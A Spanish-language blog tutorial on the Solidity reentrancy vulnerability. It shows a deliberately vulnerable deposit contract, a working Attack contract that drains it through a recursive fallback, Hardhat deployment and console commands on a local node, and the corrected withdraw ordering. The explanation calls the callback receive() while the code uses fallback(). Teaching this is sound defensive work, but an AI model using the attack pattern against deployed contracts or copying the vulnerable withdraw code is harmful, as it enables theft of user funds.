Vulnerabilidad Solidity – Ataque de reentrada

El ataque de reentrada es uno de los ataques más destructivos en el contrato inteligente de Solidity. Un ataque de reentrada ocurre cuando una función realiza una llamada externa a otro contrato que no es de confianza. Luego, el contrato que no es de confianza realiza una llamada recursiva a la función original en un intento de drenar los fondos.

Creamos el proyecto con Hardhat. Como siempre, seleccionamos todos los valores por defecto.

hardhat init

Eliminamos el contrato Greeter.sol ubicado en la carpeta contracts

Ahora creamos el contrato que contiene la vulnerabilidad “ataque de reentrada”

// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity ^0.8.0;

contract MeterStore {
  mapping(address => uint) public balances;

  function deposit() public payable {
    balances[msg.sender] += msg.value;
  }

  function withdraw() public {
    uint bal = balances[msg.sender];
    require(bal > 0);

    (bool sent, ) = msg.sender.call{value: bal}("");
    require(sent, "Failed to send MTR");
    
    balances[msg.sender] = 0;
  }

  function getBalance() public view returns (uint) {
    return address(this).balance;
  }
}

Creamos el contrato que se aprovechará de la vulnerabilidad.

// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity ^0.8.0;

import "./MeterStore.sol";

contract Attack {
    MeterStore public meterStore;

    constructor(address _meterStoreAddress) {
      meterStore = MeterStore(_meterStoreAddress);
    }

    fallback() external payable {
      if (address(meterStore).balance >= 1 ether) {
        meterStore.withdraw();
      }
    }

    function attack() external payable {
      require(msg.value >= 1 ether);
      meterStore.deposit{value: 1 ether}();
      meterStore.withdraw();
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) {
      return address(this).balance;
    }
}

Eliminamos el fichero sample-script.js de la carpeta scripts.

Creamos el fichero deploy.js en la carpeta scripts.

// scripts/deploy.js
async function main () {
  const MeterStore = await ethers.getContractFactory('MeterStore');
  console.log('Deploying MeterStore...');
  const meterStore = await MeterStore.deploy();
  await meterStore.deployed();
  console.log('MeterStore deployed to:', meterStore.address);

  const Attack = await ethers.getContractFactory('Attack');
  console.log('Deploying Attack...');
  const attack = await Attack.deploy(meterStore.address);
  await attack.deployed();
  console.log('Attack deployed to:', attack.address);
}

main()
  .then(() => process.exit(0))
  .catch(error => {
    console.error(error);
    process.exit(1);
});

Para poder simular la vulenerabilidad, vamos a desplegar los contratos en nuestro nodo local, para ello primero necesitamos ejecutarlo.

npx hardhat node

Una vez esté levantado nuestro nodo es el momento de ejecutar el script que despliega los contratos.

npx hardhat run --network localhost scripts/deploy.js

Finalmente estamos en disposición de acceder al nodo para poder ejecutar los métodos del contrato y así reproducir la vulnerabilidad. Abrimos un terminal nuevo y ejecutamos el siguiente comando.

npx hardhat console --network localhost

Vamos a ir ejecutando una serie de comandos para interactuar con los contratos. Recordad que tenemos que cambiar la dirección del contrato que se muestra a continuación con el que devolvió el script que desplegó los contratos.

const MeterStore = await ethers.getContractFactory('MeterStore');
const meterStore = await MeterStore.attach('0x5FbDB2315678afecb367f032d93F642f64180aa3');

Estos comandos lo que hacen es acceder al contrato que contiene la vulnerabilidad.

const [owner, acc1, accAttacker] = await ethers.getSigners();
await meterStore.connect(owner).deposit({value: ethers.utils.parseEther('1')});
await meterStore.connect(acc1).deposit({value: ethers.utils.parseEther('1')});

console.log('MeterStore balance: ' + await meterStore.getBalance());

Estos otros comandos envían 1 MTRG cada uno al contrato, en el terminal deberías ver algo similar a esto.

captura1 3

Ahora vamos a interactuar con el contrato que va a realizar el ataque para explotar la vulnerabilidad. Lanzamos la siguiente secuencia de comandos.

const Attack = await ethers.getContractFactory('Attack');
const attack = await Attack.attach('0xe7f1725E7734CE288F8367e1Bb143E90bb3F0512');
console.log('Attack balance: ' + await attack.getBalance());
await attack.connect(accAttacker).attack({value: ethers.utils.parseEther('1')});

console.log('Attack balance: ' + await attack.getBalance());
console.log('MeterStore balance: ' + await meterStore.getBalance());

Una vez ejecutados los anteriores comandos vemos que el contrato ya no tiene fondos y se han enviado a la dirección del atacante.

captura2 2

¿Cómo funciona la vulnerabilidad? Cuando el contrato atacante recibe los fondos, éste ejecuta el callback function “receive() external payable” para volver a llamar al método withdraw del contrato MeterStore, recursivamente hasta que deja sin fondos al contrato.

Evitar este desastre es verdaderamente sencillo, tan solo tenemos que modificar el orden de algunas líneas del método withdraw() dentro del contrato MeterStore.
El método deberá quedar de esta manera.

function withdraw() public {
  uint bal = balances[msg.sender];
  require(bal > 0);

  balances[msg.sender] = 0;
  (bool sent, ) = msg.sender.call{value: bal}("");
  require(sent, "Failed to send Ether");
}

Lo que debería haber hecho este método es cambiar el balance ANTES de enviar el dinero al destinatario. De este manera, cuando el contrato atacante intente la reentrada, el método comprobará que ya no tiene balance y revertirá la transacción.

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *